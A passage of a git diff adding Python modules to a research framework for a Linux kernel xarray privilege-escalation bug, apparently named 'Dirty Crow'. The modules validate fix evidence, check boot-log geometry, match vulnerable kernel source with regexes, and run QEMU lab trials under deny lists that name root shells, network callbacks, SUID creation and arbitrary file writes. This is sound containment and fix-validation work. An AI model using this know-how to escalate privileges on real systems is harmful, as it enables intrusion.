list[dict[str, object]] = [] + hashes: set[str] = set() + for index, row in enumerate(rows): + record, row_artifacts = _verify_trial( + row, + f"{field}[{index}]", + role, + root, + kernel_release, + rounds, + ) + records.append(record) + artifacts.extend(row_artifacts) + hashes.add(str(record["kernel"]["sha256"])) + if len(hashes) != 1: + raise FixValidationError(f"{field} must use one kernel image") + trial_records[role] = records + kernel_hashes[role] = hashes + if kernel_hashes["vulnerable"] == kernel_hashes["fixed"]: + raise FixValidationError("vulnerable and fixed kernel image hashes must differ") + + result = _object(payload["result"], "full_kernel.result") + expect_keys( + result, + "full_kernel.result", + required={ + "passed", + "vulnerable_successes", + "fixed_clean_trials", + "prevention_observed", + "boundary", + }, + error_type=FixValidationError, + ) + _true(result["passed"], "full_kernel.result.passed") + _true(result["prevention_observed"], "full_kernel.result.prevention_observed") + vulnerable_successes = _integer( + result["vulnerable_successes"], "full_kernel.result.vulnerable_successes", 1 + ) + fixed_clean_trials = _integer( + result["fixed_clean_trials"], "full_kernel.result.fixed_clean_trials", 1 + ) + if vulnerable_successes != len(trial_records["vulnerable"]): + raise FixValidationError("full_kernel.result.vulnerable_successes is inconsistent") + if fixed_clean_trials != len(trial_records["fixed"]): + raise FixValidationError("full_kernel.result.fixed_clean_trials is inconsistent") + + return ( + { + "passed": True, + "source": source_record, + "build": build_record, + "qemu": qemu_record, + "vulnerable_trials": trial_records["vulnerable"], + "fixed_trials": trial_records["fixed"], + "vulnerable_successes": vulnerable_successes, + "fixed_clean_trials": fixed_clean_trials, + "prevention_observed": True, + "boundary": _string(result["boundary"], "full_kernel.result.boundary"), + }, + artifacts, + ) + + +def verify_fix_validation(evidence_path: Path, root: Path) -> dict[str, object]: + source = evidence_path.resolve(strict=True) + root = root.resolve(strict=True) + payload = load_object(source, FixValidationError) + expect_keys( + payload, + "fix validation", + required={ + "schema_version", + "title", + "created_utc", + "scope", + "patches", + "deterministic", + "full_kernel", + "submission", + "boundary", + }, + error_type=FixValidationError, + ) + if payload["schema_version"] != 1: + raise FixValidationError("unsupported fix-validation schema_version") + created_utc = _string(payload["created_utc"], "created_utc") + if re.fullmatch(r"[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z", created_utc) is None: + raise FixValidationError("created_utc must use UTC YYYY-MM-DDTHH:MM:SSZ") + + patches, patch_artifacts = _verify_patches(payload["patches"], root) + deterministic, deterministic_artifacts = _verify_deterministic( + payload["deterministic"], root + ) + full_kernel, kernel_artifacts = _verify_full_kernel(payload["full_kernel"], root) + submission = _object(payload["submission"], "submission") + expect_keys( + submission, + "submission", + required={"dco_signoff_status"}, + error_type=FixValidationError, + ) + dco_status = _string(submission["dco_signoff_status"], "submission.dco_signoff_status") + if dco_status not in _DCO_STATUS: + raise FixValidationError( + "submission.dco_signoff_status must be awaiting_reporter_confirmation, signed_off, or unsigned_draft" + ) + all_artifacts = patch_artifacts + deterministic_artifacts + kernel_artifacts + unique_artifacts = {(artifact.relative_path, artifact.sha256) for artifact in all_artifacts} + return { + "schema_version": 1, + "title": _string(payload["title"], "title"), + "created_utc": created_utc, + "passed": True, + "scope": _string(payload["scope"], "scope"), + "patches": patches, + "deterministic": deterministic, + "full_kernel": full_kernel, + "submission": {"dco_signoff_status": dco_status}, + "artifact_count": len(unique_artifacts), + "boundary": _string(payload["boundary"], "boundary"), + } diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/geometry.py b/dirty-crow-xarray-lpe/framework/dirtycrow/geometry.py new file mode 100644 index 0000000..c0cafd3 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/geometry.py @@ -0,0 +1,135 @@ +from __future__ import annotations + +import hashlib +import json +from pathlib import Path +import re +from typing import Iterable, Mapping + +from .backends import TargetContext, resolve_backend +from .trace import decode_kernel_logs + +_MARKER = re.compile(r"\bDIRTY_CROW_GEOMETRY\s+(?P[^\r\n]+)") + + +def _sha256(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + + +def _fields(text: str) -> dict[str, object]: + result: dict[str, object] = {} + for token in text.split(): + if "=" not in token: + continue + key, value = token.split("=", 1) + if re.fullmatch(r"-?\d+", value): + result[key] = int(value) + else: + result[key] = value + return result + + +def parse_geometry_log(path: Path) -> dict[str, object]: + path = path.resolve() + payload = path.read_bytes() + markers = [_fields(match.group("fields")) for match in _MARKER.finditer(payload.decode("utf-8", errors="replace"))] + return { + "path": str(path), + "sha256": hashlib.sha256(payload).hexdigest(), + "marker_count": len(markers), + "markers": markers, + } + + +def validate_geometry_matrix( + targets: Iterable[Mapping[str, object]], + *, + backend_registry: Path, + source_facts: Iterable[str], + capabilities: Iterable[str], +) -> dict[str, object]: + facts = frozenset(source_facts) + capability_set = frozenset(capabilities) + rows: list[dict[str, object]] = [] + identifiers: set[str] = set() + for target in targets: + target_id = str(target.get("id", "")) + if not target_id or target_id in identifiers: + raise ValueError(f"invalid or duplicate geometry target id: {target_id!r}") + identifiers.add(target_id) + architecture = str(target["architecture"]) + page_size = int(target["page_size"]) + endianness = str(target.get("endianness", "little")) + action = str(target.get("action", "backstep-proof")) + kernel = Path(str(target["kernel"])).resolve() + initramfs = Path(str(target["initramfs"])).resolve() + log = Path(str(target["log"])).resolve() + for artifact in (kernel, initramfs, log): + if not artifact.is_file(): + raise FileNotFoundError(artifact) + parsed = parse_geometry_log(log) + markers = parsed["markers"] + assert isinstance(markers, list) + marker = markers[-1] if len(markers) == 1 else None + runtime_checks = { + "single_marker": len(markers) == 1, + "probe_status_zero": marker is not None and marker.get("status") == 0, + "architecture_matches": marker is not None and marker.get("architecture") == architecture, + "page_size_matches": marker is not None and marker.get("page_size") == page_size, + "expected_page_size_matches": marker is not None and marker.get("expected_page_size") == page_size, + "endianness_matches": marker is not None and marker.get("endianness") == endianness, + "pointer_width_64": marker is not None and marker.get("pointer_bits") == 64, + } + decoded = decode_kernel_logs([log]) + backend = resolve_backend( + backend_registry, + TargetContext( + architecture=architecture, + page_size=page_size, + endianness=endianness, + source_facts=facts, + capabilities=capability_set, + ), + action, + ) + expected_support = bool(target.get("backend_expected", False)) + backend_expectation_matches = backend["supported"] == expected_support + runtime_validated = all(runtime_checks.values()) and bool(decoded["clean"]) + rows.append( + { + "id": target_id, + "architecture": architecture, + "page_size": page_size, + "endianness": endianness, + "action": action, + "runtime_validated": runtime_validated, + "runtime_checks": runtime_checks, + "marker": marker, + "kernel": {"path": str(kernel), "sha256": _sha256(kernel), "bytes": kernel.stat().st_size}, + "initramfs": {"path": str(initramfs), "sha256": _sha256(initramfs), "bytes": initramfs.stat().st_size}, + "console": parsed, + "diagnostics": decoded["summary"], + "backend_expected": expected_support, + "backend_expectation_matches": backend_expectation_matches, + "backend_resolution": backend, + "passed": runtime_validated and backend_expectation_matches, + } + ) + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow architecture and page-size validation matrix", + "passed": bool(rows) and all(bool(row["passed"]) for row in rows), + "targets": rows, + "summary": { + "target_count": len(rows), + "runtime_validated_count": sum(bool(row["runtime_validated"]) for row in rows), + "backend_supported_count": sum(bool(row["backend_resolution"]["supported"]) for row in rows), + "architectures": sorted({str(row["architecture"]) for row in rows}), + "page_sizes": sorted({int(row["page_size"]) for row in rows}), + }, + "boundary": "Boot validation proves kernel architecture and base-page geometry. Backend resolution remains declarative, and unsupported rows are not exploitability claims.", + } + report["canonical_payload_sha256"] = hashlib.sha256( + json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + ).hexdigest() + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/lab.py b/dirty-crow-xarray-lpe/framework/dirtycrow/lab.py new file mode 100644 index 0000000..64aa562 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/lab.py @@ -0,0 +1,837 @@ +from __future__ import annotations + +import os +import re +import shutil +import subprocess +import threading +import time +from dataclasses import dataclass +from datetime import datetime, timezone +from pathlib import Path +from typing import Any, Callable +from .attestation import ( + AttestationFactory, + AttestationLaunch, + AttestationSession, + issue_attestation, + placeholder_attestation, +) + +from .runtime_evidence import collect_runtime_evidence +from .strictjson import ( + expect_int, + expect_keys, + expect_object, + expect_sha256, + expect_string, + load_object, + resolve_beneath_file, + sha256_file, + write_json_atomic, +) +from .watchdog import HostWatchdog, WatchdogDeadlines + +_SCHEMA_VERSION = 2 +_TARGET_ID = re.compile(r"[A-Za-z0-9][A-Za-z0-9._-]{0,63}\Z") +_CPU_MODEL = re.compile(r"[A-Za-z0-9][A-Za-z0-9_.+-]{0,63}\Z") +_ALLOWED_ACTIONS = {"probe", "legacy-trigger", "backstep-proof"} +_ALLOWED_MACHINES = {"pc", "q35"} +_ALLOWED_ACCELERATORS = {"tcg", "kvm", "whpx", "hvf"} +_ALLOWED_DISK_FORMATS = {"raw", "qcow2"} +_ALLOWED_QEMU_BASENAMES = {"qemu-system-x86_64", "qemu-system-x86_64.exe"} +_ALLOWED_BOOT_TOKENS = frozenset( + { + "console=ttyS0", + "panic=-1", + "oops=panic", + "preempt=full", + "transparent_hugepage=never", + } +) +_FORBIDDEN_BOOT_TOKEN_PREFIXES = ( + ("init=", "root shell or persistent root command"), + ("rdinit=", "root shell or persistent root command"), + ("rd.break", "root shell"), + ("rd.shell", "root shell"), + ("systemd.debug_shell", "root shell"), + ("dirtycrow.command=", "persistent root command"), + ("dirtycrow.payload=", "persistent root command"), + ("ip=", "network callback"), + ("nfsroot=", "network callback"), + ("rd.neednet", "network callback"), + ("dirtycrow.callback=", "network callback"), + ("dirtycrow.suid=", "SUID creation"), + ("systemd.", "service modification"), + ("rd.systemd.", "service modification"), + ("dirtycrow.service=", "service modification"), + ("dirtycrow.write=", "arbitrary file write"), + ("dirtycrow.path=", "arbitrary file write"), +) +_PROOF_ONLY_OPERATIONS = ( + "controlled-ram-marker", + "fixed-root-proof-read", + "fixed-mode-0400-proof-create", + "bounded-modprobe-helper", + "transient-credential-transition", +) +_FORBIDDEN_PAYLOAD_OPERATIONS = ( + "root-shell", + "persistent-root-command", + "network-callback", + "suid-creation", + "service-modification", + "arbitrary-file-write", +) + + +class LabProfileError(ValueError): + """A target profile violates the lab safety or provenance contract.""" + + +@dataclass(frozen=True) +class Artifact: + path: Path + sha256: str + + +@dataclass(frozen=True) +class RootfsArtifact(Artifact): + format: str + + +@dataclass(frozen=True) +class VmConfig: + architecture: str + page_size: int + qemu_binary: str + machine: str + acceleration: str + cpu: str + cpus: int + memory_mib: int + timeout_seconds: int + watchdog: WatchdogDeadlines + + +@dataclass(frozen=True) +class BootConfig: + action: str + append: str + + +@dataclass(frozen=True) +class LabProfile: + source: Path + target_id: str + kernel: Artifact + initrd: Artifact + rootfs: RootfsArtifact | None + vm: VmConfig + boot: BootConfig + + +PopenFactory = Callable[..., Any] + + + + +def _load_json(path: Path) -> dict[str, object]: + return load_object(path, LabProfileError) + + +def _expect_object(value: object, field: str) -> dict[str, object]: + return expect_object(value, field, LabProfileError) + + +def _expect_keys( + payload: dict[str, object], + field: str, + *, + required: set[str], + optional: set[str] | None = None, +) -> None: + expect_keys( + payload, + field, + required=required, + optional=optional, + error_type=LabProfileError, + ) + + +def _expect_string(value: object, field: str) -> str: + return expect_string(value, field, LabProfileError) + + +def _expect_int(value: object, field: str, minimum: int, maximum: int) -> int: + return expect_int(value, field, minimum, maximum, LabProfileError) + + + + +def _resolve_artifact(root: Path, relative_value: object, field: str) -> Path: + return resolve_beneath_file(root, relative_value, field, LabProfileError) + + +def _parse_sha256(value: object, field: str) -> str: + return expect_sha256(value, field, LabProfileError) + + +def _parse_artifact( + value: object, + root: Path, + field: str, + *, + rootfs: bool = False, +) -> Artifact | RootfsArtifact: + payload = _expect_object(value, field) + required = {"path", "sha256", "format"} if rootfs else {"path", "sha256"} + _expect_keys(payload, field, required=required) + path = _resolve_artifact(root, payload["path"], f"{field}.path") + expected = _parse_sha256(payload["sha256"], f"{field}.sha256") + actual = sha256_file(path) + if actual != expected: + raise LabProfileError( + f"{field} SHA-256 mismatch: expected {expected}, observed {actual}" + ) + if rootfs: + disk_format = _expect_string(payload["format"], f"{field}.format") + if disk_format not in _ALLOWED_DISK_FORMATS: + raise LabProfileError( + f"{field}.format must be one of {', '.join(sorted(_ALLOWED_DISK_FORMATS))}" + ) + if "," in str(path): + raise LabProfileError(f"{field}.path cannot contain a comma") + return RootfsArtifact(path=path, sha256=expected, format=disk_format) + return Artifact(path=path, sha256=expected) + + +def _parse_watchdog(value: object, total_seconds: int) -> WatchdogDeadlines: + payload = _expect_object(value, "vm.watchdog") + fields = { + "boot_seconds", + "trigger_seconds", + "serial_inactivity_seconds", + "post_primitive_seconds", + } + _expect_keys(payload, "vm.watchdog", required=fields) + parsed = { + field: _expect_int(payload[field], f"vm.watchdog.{field}", 1, 86400) + for field in fields + } + too_long = sorted( + field for field, seconds in parsed.items() if seconds > total_seconds + ) + if too_long: + raise LabProfileError( + "vm.watchdog deadlines cannot exceed vm.timeout_seconds: " + + ", ".join(too_long) + ) + return WatchdogDeadlines( + boot_seconds=parsed["boot_seconds"], + trigger_seconds=parsed["trigger_seconds"], + serial_inactivity_seconds=parsed["serial_inactivity_seconds"], + post_primitive_seconds=parsed["post_primitive_seconds"], + ) + + +def _parse_vm(value: object) -> VmConfig: + payload = _expect_object(value, "vm") + _expect_keys( + payload, + "vm", + required={ + "architecture", + "page_size", + "machine", + "acceleration", + "cpu", + "cpus", + "memory_mib", + "timeout_seconds", + "watchdog", + }, + optional={"qemu_binary"}, + ) + architecture = _expect_string(payload["architecture"], "vm.architecture") + if architecture != "x86_64": + raise LabProfileError("vm.architecture is currently limited to x86_64") + page_size = _expect_int(payload["page_size"], "vm.page_size", 4096, 65536) + if page_size != 4096: + raise LabProfileError("vm.page_size is currently limited to 4096") + machine = _expect_string(payload["machine"], "vm.machine") + if machine not in _ALLOWED_MACHINES: + raise LabProfileError( + f"vm.machine must be one of {', '.join(sorted(_ALLOWED_MACHINES))}" + ) + acceleration = _expect_string(payload["acceleration"], "vm.acceleration") + if acceleration not in _ALLOWED_ACCELERATORS: + raise LabProfileError( + "vm.acceleration must be one of " + + ", ".join(sorted(_ALLOWED_ACCELERATORS)) + ) + cpu = _expect_string(payload["cpu"], "vm.cpu") + if not _CPU_MODEL.fullmatch(cpu): + raise LabProfileError("vm.cpu contains unsupported characters") + qemu_binary = _expect_string( + payload.get("qemu_binary", "qemu-system-x86_64"), "vm.qemu_binary" + ) + if Path(qemu_binary).name.lower() not in _ALLOWED_QEMU_BASENAMES: + raise LabProfileError("vm.qemu_binary must name qemu-system-x86_64") + timeout_seconds = _expect_int( + payload["timeout_seconds"], "vm.timeout_seconds", 1, 86400 + ) + return VmConfig( + architecture=architecture, + page_size=page_size, + qemu_binary=qemu_binary, + machine=machine, + acceleration=acceleration, + cpu=cpu, + cpus=_expect_int(payload["cpus"], "vm.cpus", 1, 256), + memory_mib=_expect_int(payload["memory_mib"], "vm.memory_mib", 128, 1048576), + timeout_seconds=timeout_seconds, + watchdog=_parse_watchdog(payload["watchdog"], timeout_seconds), + ) + + +def _parse_boot(value: object) -> BootConfig: + payload = _expect_object(value, "boot") + _expect_keys(payload, "boot", required={"action", "append"}) + action = _expect_string(payload["action"], "boot.action") + if action not in _ALLOWED_ACTIONS: + raise LabProfileError( + f"boot.action must be one of {', '.join(sorted(_ALLOWED_ACTIONS))}" + ) + append = _expect_string(payload["append"], "boot.append") + tokens = append.split() + for token in tokens: + violation = next( + ( + category + for prefix, category in _FORBIDDEN_BOOT_TOKEN_PREFIXES + if token == prefix or token.startswith(prefix) + ), + None, + ) + if violation is not None: + raise LabProfileError( + f"boot.append requests forbidden {violation}: {token}" + ) + if token not in _ALLOWED_BOOT_TOKENS: + raise LabProfileError( + f"boot.append token is not proof-only: {token}" + ) + if "console=ttyS0" not in tokens: + raise LabProfileError("boot.append must route the console to ttyS0") + return BootConfig(action=action, append=append) + + +def load_lab_profile(profile_path: Path) -> LabProfile: + source = profile_path.resolve(strict=True) + if not source.is_file(): + raise LabProfileError(f"profile is not a regular file: {source}") + root = source.parent.resolve(strict=True) + payload = _load_json(source) + _expect_keys( + payload, + "profile", + required={"schema_version", "target_id", "kernel", "initrd", "vm", "boot"}, + optional={"rootfs"}, + ) + if payload["schema_version"] != _SCHEMA_VERSION: + raise LabProfileError( + f"unsupported schema_version: {payload['schema_version']!r}" + ) + target_id = _expect_string(payload["target_id"], "target_id") + if not _TARGET_ID.fullmatch(target_id): + raise LabProfileError("target_id must match [A-Za-z0-9][A-Za-z0-9._-]{0,63}") + kernel = _parse_artifact(payload["kernel"], root, "kernel") + initrd = _parse_artifact(payload["initrd"], root, "initrd") + rootfs_value = payload.get("rootfs") + rootfs = ( + None + if rootfs_value is None + else _parse_artifact(rootfs_value, root, "rootfs", rootfs=True) + ) + assert isinstance(kernel, Artifact) and not isinstance(kernel, RootfsArtifact) + assert isinstance(initrd, Artifact) and not isinstance(initrd, RootfsArtifact) + assert rootfs is None or isinstance(rootfs, RootfsArtifact) + return LabProfile( + source=source, + target_id=target_id, + kernel=kernel, + initrd=initrd, + rootfs=rootfs, + vm=_parse_vm(payload["vm"]), + boot=_parse_boot(payload["boot"]), + ) + + +def _resolve_qemu_binary(profile: LabProfile) -> tuple[str, bool]: + requested = profile.vm.qemu_binary + candidate = Path(requested).expanduser() + has_path = candidate.is_absolute() or candidate.parent != Path(".") + if has_path: + if not candidate.is_absolute(): + candidate = profile.source.parent / candidate + resolved = candidate.resolve(strict=False) + available = resolved.is_file() + return str(resolved), available + located = shutil.which(requested) + return (located or requested), located is not None + + +def _artifact_record(name: str, artifact: Artifact) -> dict[str, object]: + return {"name": name, "path": str(artifact.path), "sha256": artifact.sha256} + + +def build_qemu_plan( + profile: LabProfile, + *, + require_executable: bool = False, + attestation: AttestationLaunch | None = None, +) -> dict[str, object]: + executable, available = _resolve_qemu_binary(profile) + if require_executable and not available: + raise FileNotFoundError(f"QEMU executable not found: {profile.vm.qemu_binary}") + executable_sha256 = sha256_file(Path(executable)) if available else None + attestation_required = profile.boot.action == "backstep-proof" + if attestation is not None and not attestation_required: + raise LabProfileError("attestation is only valid for backstep-proof") + launch = attestation + if attestation_required and launch is None: + launch = placeholder_attestation( + profile.target_id, + profile.source, + profile.kernel.sha256, + profile.initrd.sha256, + profile.boot.action, + ) + append_parts = [ + profile.boot.append, + f"dirtycrow.action={profile.boot.action}", + f"dirtycrow.target_id={profile.target_id}", + ] + if launch is not None: + append_parts.extend(launch.token.kernel_parameters()) + command = [ + executable, + "-name", + f"dirty-crow-{profile.target_id}", + "-machine", + f"{profile.vm.machine},accel={profile.vm.acceleration}", + "-cpu", + profile.vm.cpu, + "-smp", + str(profile.vm.cpus), + "-m", + f"{profile.vm.memory_mib}M", + "-device", + "i6300esb", + "-watchdog-action", + "poweroff", + ] + if launch is not None: + command.extend(launch.qemu_arguments()) + command.extend( + [ + "-kernel", + str(profile.kernel.path), + "-initrd", + str(profile.initrd.path), + "-append", + " ".join(append_parts), + "-display", + "none", + "-serial", + "stdio", + "-monitor", + "none", + "-no-reboot", + "-no-user-config", + "-nic", + "none", + ] + ) + artifacts = [ + _artifact_record("kernel", profile.kernel), + _artifact_record("initrd", profile.initrd), + ] + if profile.rootfs is not None: + command.extend( + [ + "-drive", + "file=" + + str(profile.rootfs.path) + + f",if=virtio,format={profile.rootfs.format},snapshot=on", + ] + ) + artifacts.append(_artifact_record("rootfs", profile.rootfs)) + return { + "schema_version": _SCHEMA_VERSION, + "target_id": profile.target_id, + "profile": str(profile.source), + "qemu": { + "requested_binary": profile.vm.qemu_binary, + "resolved_binary": executable, + "available": available, + "binary_sha256": executable_sha256, + "command": command, + "command_runnable": launch is None or launch.concrete, + "shell": False, + "watchdog": { + "model": "i6300esb", + "action": "poweroff", + "arming": "guest-init-required", + }, + }, + "artifacts": artifacts, + "attestation": launch.record() if launch is not None else None, + "constraints": { + "architecture": profile.vm.architecture, + "page_size": profile.vm.page_size, + "network": "disabled", + "host_shares": "disabled", + "payload_contract": { + "policy": "proof-only", + "allowed_operations": list(_PROOF_ONLY_OPERATIONS), + "forbidden_operations": list(_FORBIDDEN_PAYLOAD_OPERATIONS), + "completion": "immediate-poweroff-after-proof", + }, + "rootfs_writes": "temporary-overlay" if profile.rootfs else "not-applicable", + "timeout_seconds": profile.vm.timeout_seconds, + "host_deadlines": { + **profile.vm.watchdog.record(), + "total_seconds": profile.vm.timeout_seconds, + }, + "guest_action": profile.boot.action, + "host_attestation": ( + "required-one-use-virtio-serial" + if attestation_required + else "not-required" + ), + }, + } + + +def _write_json(path: Path, payload: dict[str, object]) -> None: + write_json_atomic(path, payload) + + +def _utc_now() -> str: + return datetime.now(timezone.utc).isoformat().replace("+00:00", "Z") + +def _capture_console( + stream: Any, + console: Any, + watchdog: HostWatchdog, + clock: Callable[[], float], + errors: list[str], +) -> None: + try: + while True: + line = stream.readline() + if not line: + return + payload = line.encode("utf-8") if isinstance(line, str) else line + if not isinstance(payload, bytes): + raise TypeError("QEMU stdout returned a non-byte record") + console.write(payload) + console.flush() + watchdog.observe_line(payload, clock()) + except (OSError, TypeError, ValueError) as error: + errors.append(f"{type(error).__name__}: {error}") + finally: + try: + stream.close() + except (OSError, ValueError): + pass + + +def _force_process_stop( + process: Any, grace_seconds: float +) -> tuple[int | None, str, str | None]: + try: + process.terminate() + except OSError as error: + exit_code = process.poll() + if exit_code is not None: + return exit_code, "guest_exit_race", None + return None, "host_terminate_failed", str(error) + try: + return process.wait(timeout=grace_seconds), "host_terminate", None + except subprocess.TimeoutExpired: + process.kill() + try: + return process.wait(timeout=grace_seconds), "host_kill", None + except subprocess.TimeoutExpired: + return ( + None, + "host_kill_failed", + "QEMU remained live after terminate and kill deadlines", + ) + + + + +def run_lab( + profile: LabProfile, + output_dir: Path, + *, + popen_factory: PopenFactory = subprocess.Popen, + terminate_grace_seconds: float = 5, + attestation_factory: AttestationFactory = issue_attestation, + poll_interval_seconds: float = 0.05, + clock: Callable[[], float] = time.monotonic, + sleep: Callable[[float], None] = time.sleep, +) -> dict[str, object]: + if terminate_grace_seconds <= 0: + raise ValueError("terminate_grace_seconds must be positive") + if poll_interval_seconds <= 0: + raise ValueError("poll_interval_seconds must be positive") + destination = output_dir.resolve(strict=False) + if destination.exists(): + raise FileExistsError(f"lab output directory already exists: {destination}") + + attestation_session: AttestationSession | None = None + try: + if profile.boot.action == "backstep-proof": + attestation_session = attestation_factory( + profile.target_id, + profile.source, + profile.kernel.sha256, + profile.initrd.sha256, + profile.boot.action, + ) + attestation_session.__enter__() + assert attestation_session.launch is not None + plan = build_qemu_plan( + profile, + require_executable=True, + attestation=attestation_session.launch, + ) + else: + plan = build_qemu_plan(profile, require_executable=True) + + destination.mkdir(parents=True) + plan_path = destination / "plan.json" + console_path = destination / "console.log" + result_path = destination / "result.json" + _write_json(plan_path, plan) + + command = plan["qemu"]["command"] # type: ignore[index] + assert isinstance(command, list) and all( + isinstance(item, str) for item in command + ) + started_utc = _utc_now() + started = clock() + watchdog = HostWatchdog( + profile.vm.watchdog, + total_seconds=profile.vm.timeout_seconds, + action=profile.boot.action, + started=started, + ) + state = "launch_error" + termination = "launch_error" + exit_code: int | None = None + timed_out = False + forced_termination = False + deadline_reason: str | None = None + failure_reason: str | None = None + error: str | None = None + capture_errors: list[str] = [] + + with console_path.open("wb") as console: + try: + process_options: dict[str, object] = { + "stdin": subprocess.DEVNULL, + "stdout": subprocess.PIPE, + "stderr": subprocess.STDOUT, + "cwd": str(profile.source.parent), + "shell": False, + "close_fds": True, + } + if os.name == "nt": + process_options["creationflags"] = ( + subprocess.CREATE_NEW_PROCESS_GROUP + ) + else: + process_options["start_new_session"] = True + process = popen_factory(command, **process_options) + stream = getattr(process, "stdout", None) + if stream is None: + exit_code, termination, error = _force_process_stop( + process, terminate_grace_seconds + ) + forced_termination = True + raise OSError("QEMU stdout pipe is unavailable") + capture = threading.Thread( + target=_capture_console, + args=(stream, console, watchdog, clock, capture_errors), + name=f"dirtycrow-console-{profile.target_id}", + daemon=True, + ) + capture.start() + while True: + exit_code = process.poll() + if exit_code is not None: + break + deadline_reason = watchdog.deadline_reason(clock()) + if deadline_reason is not None: + forced_termination = True + timed_out = deadline_reason.endswith("_deadline") + state = ( + "recovery_forced" + if deadline_reason + == "backend_returned_after_primitive" + else "deadline_exceeded" + ) + failure_reason = deadline_reason + exit_code, termination, stop_error = _force_process_stop( + process, terminate_grace_seconds + ) + if stop_error is not None: + error = stop_error + if termination == "host_kill_failed": + state = "recovery_failed" + break + sleep(poll_interval_seconds) + capture.join(timeout=terminate_grace_seconds) + if capture.is_alive(): + try: + stream.close() + except (OSError, ValueError): + pass + capture.join(timeout=terminate_grace_seconds) + capture_errors.append("console reader did not stop after QEMU exit") + except OSError as launch_error: + if error is None: + error = str(launch_error) + + observation = watchdog.snapshot(clock()) + if deadline_reason is None and state == "launch_error" and error is None: + termination = "guest_exit" + if capture_errors: + state = "serial_capture_error" + failure_reason = "serial_capture_error" + error = "; ".join(capture_errors) + elif exit_code != 0: + state = "exited_error" + failure_reason = "nonzero_qemu_exit" + elif observation["line_count"] == 0: + state = "boot_failed" + failure_reason = "guest_exited_before_boot_activity" + elif ( + profile.boot.action in {"legacy-trigger", "backstep-proof"} + and observation["trigger_started_ms"] is None + ): + state = "trigger_not_observed" + failure_reason = "guest_exited_before_trigger" + elif ( + observation["primitive_observed"] is True + and observation["recovery_requested"] is not True + ): + state = "recovery_unverified" + failure_reason = "primitive_exit_without_recovery_action" + else: + state = "exited_clean" + if capture_errors and error is None: + error = "; ".join(capture_errors) + if attestation_session is not None: + attestation_session.wait_for_delivery(0.25) + finally: + if attestation_session is not None: + attestation_session.close() + + ended_utc = _utc_now() + if state == "launch_error": + recovery_outcome = "launch_error" + elif forced_termination: + recovery_outcome = termination + elif state == "exited_clean": + recovery_outcome = ( + "clean_guest_poweroff" + if observation["primitive_observed"] is True + else "clean_guest_exit" + ) + elif state == "recovery_unverified": + recovery_outcome = "unverified_guest_exit" + else: + recovery_outcome = "guest_exit_failure" + result: dict[str, object] = { + "schema_version": _SCHEMA_VERSION, + "target_id": profile.target_id, + "passed": state == "exited_clean", + "state": state, + "termination": termination, + "failure_reason": failure_reason, + "started_utc": started_utc, + "ended_utc": ended_utc, + "duration_ms": round((clock() - started) * 1000), + "qemu_exit_code": exit_code, + "timed_out": timed_out, + "forced_termination": forced_termination, + "error": error, + "watchdog": { + "triggered": deadline_reason is not None, + "reason": deadline_reason, + "host_deadlines": { + **profile.vm.watchdog.record(), + "total_seconds": profile.vm.timeout_seconds, + }, + "qemu": { + "model": "i6300esb", + "action": "poweroff", + "arming": "guest-init-required", + }, + "observation": observation, + }, + "recovery": { + "required": observation["primitive_observed"], + "guest_requested": observation["recovery_requested"], + "outcome": recovery_outcome, + }, + "plan": { + "path": str(plan_path), + "sha256": sha256_file(plan_path), + }, + "console": { + "path": str(console_path), + "sha256": sha256_file(console_path), + "size": console_path.stat().st_size, + }, + "attestation": ( + { + **attestation_session.launch.record(), + "delivery": attestation_session.delivery_record(), + } + if attestation_session is not None + and attestation_session.launch is not None + else None + ), + } + evidence_path = destination / "evidence.json" + artifacts = plan["artifacts"] + assert isinstance(artifacts, list) + evidence = collect_runtime_evidence( + console_path, + target_id=profile.target_id, + action=profile.boot.action, + artifacts=artifacts, + lifecycle=result, + plan_sha256=result["plan"]["sha256"], # type: ignore[index] + attestation=result["attestation"], + ) + write_json_atomic(evidence_path, evidence) + outcome = evidence["outcome"] + assert isinstance(outcome, dict) + result["evidence"] = { + "path": str(evidence_path), + "sha256": sha256_file(evidence_path), + "classification": outcome["classification"], + "proof_confirmed": outcome["proof_confirmed"], + } + _write_json(result_path, result) + return result diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/lineage.py b/dirty-crow-xarray-lpe/framework/dirtycrow/lineage.py new file mode 100644 index 0000000..e0014bd --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/lineage.py @@ -0,0 +1,901 @@ +from __future__ import annotations + +import hashlib +import json +import re +from dataclasses import asdict, dataclass +import subprocess +from pathlib import Path +from typing import Iterable +from .backports import classify_xas_find_semantics +from urllib.parse import quote + + +@dataclass(frozen=True) +class SourceFact: + name: str + path: str + present: bool + line: int | None + + +_FACT_PATTERNS: dict[str, tuple[str, re.Pattern[str]]] = { + "vulnerable_xas_find_branch": ( + "lib/xarray.c", + re.compile( + r"else\s+if\s*\(\s*!xas->xa_node->shift\s*&&\s*" r"xas->xa_offset\s*!=", + re.DOTALL, + ), + ), + "nonleaf_offset_fix": ( + "lib/xarray.c", + re.compile( + r"xas->xa_offset\s*!=\s*get_offset\s*\(\s*xas->xa_index", + re.DOTALL, + ), + ), + "shmem_multi_index_store": ( + "mm/shmem.c", + re.compile( + r"XA_STATE_ORDER\s*\([^;]*&mapping->i_pages[\s\S]{0,4096}?" + r"xas_store\s*\(\s*&xas\s*,\s*(?:page|folio)\s*\)", + ), + ), + "shmem_repeated_slot_store": ( + "mm/shmem.c", + re.compile(r"xas_store\s*\(\s*&xas\s*,\s*(?:page|folio)\s*\+\s*i\s*\)"), + ), + "shmem_split_path": ( + "mm/shmem.c", + re.compile(r"\b(?:split_huge_page|split_folio|xas_(?:try_)?split)\b"), + ), + "ordinary_user_hole_punch": ( + "mm/shmem.c", + re.compile(r"FALLOC_FL_PUNCH_HOLE"), + ), + "filemap_unsigned_pte_delta": ( + "mm/filemap.c", + re.compile(r"vmf->pte\s*\+=\s*xas(?:\.|->)xa_index\s*-\s*last_pgoff"), + ), + "synchronous_shmem_collapse": ( + "mm/madvise.c", + re.compile(r"\bMADV_COLLAPSE\b"), + ), + "advice_gated_shmem_huge": ( 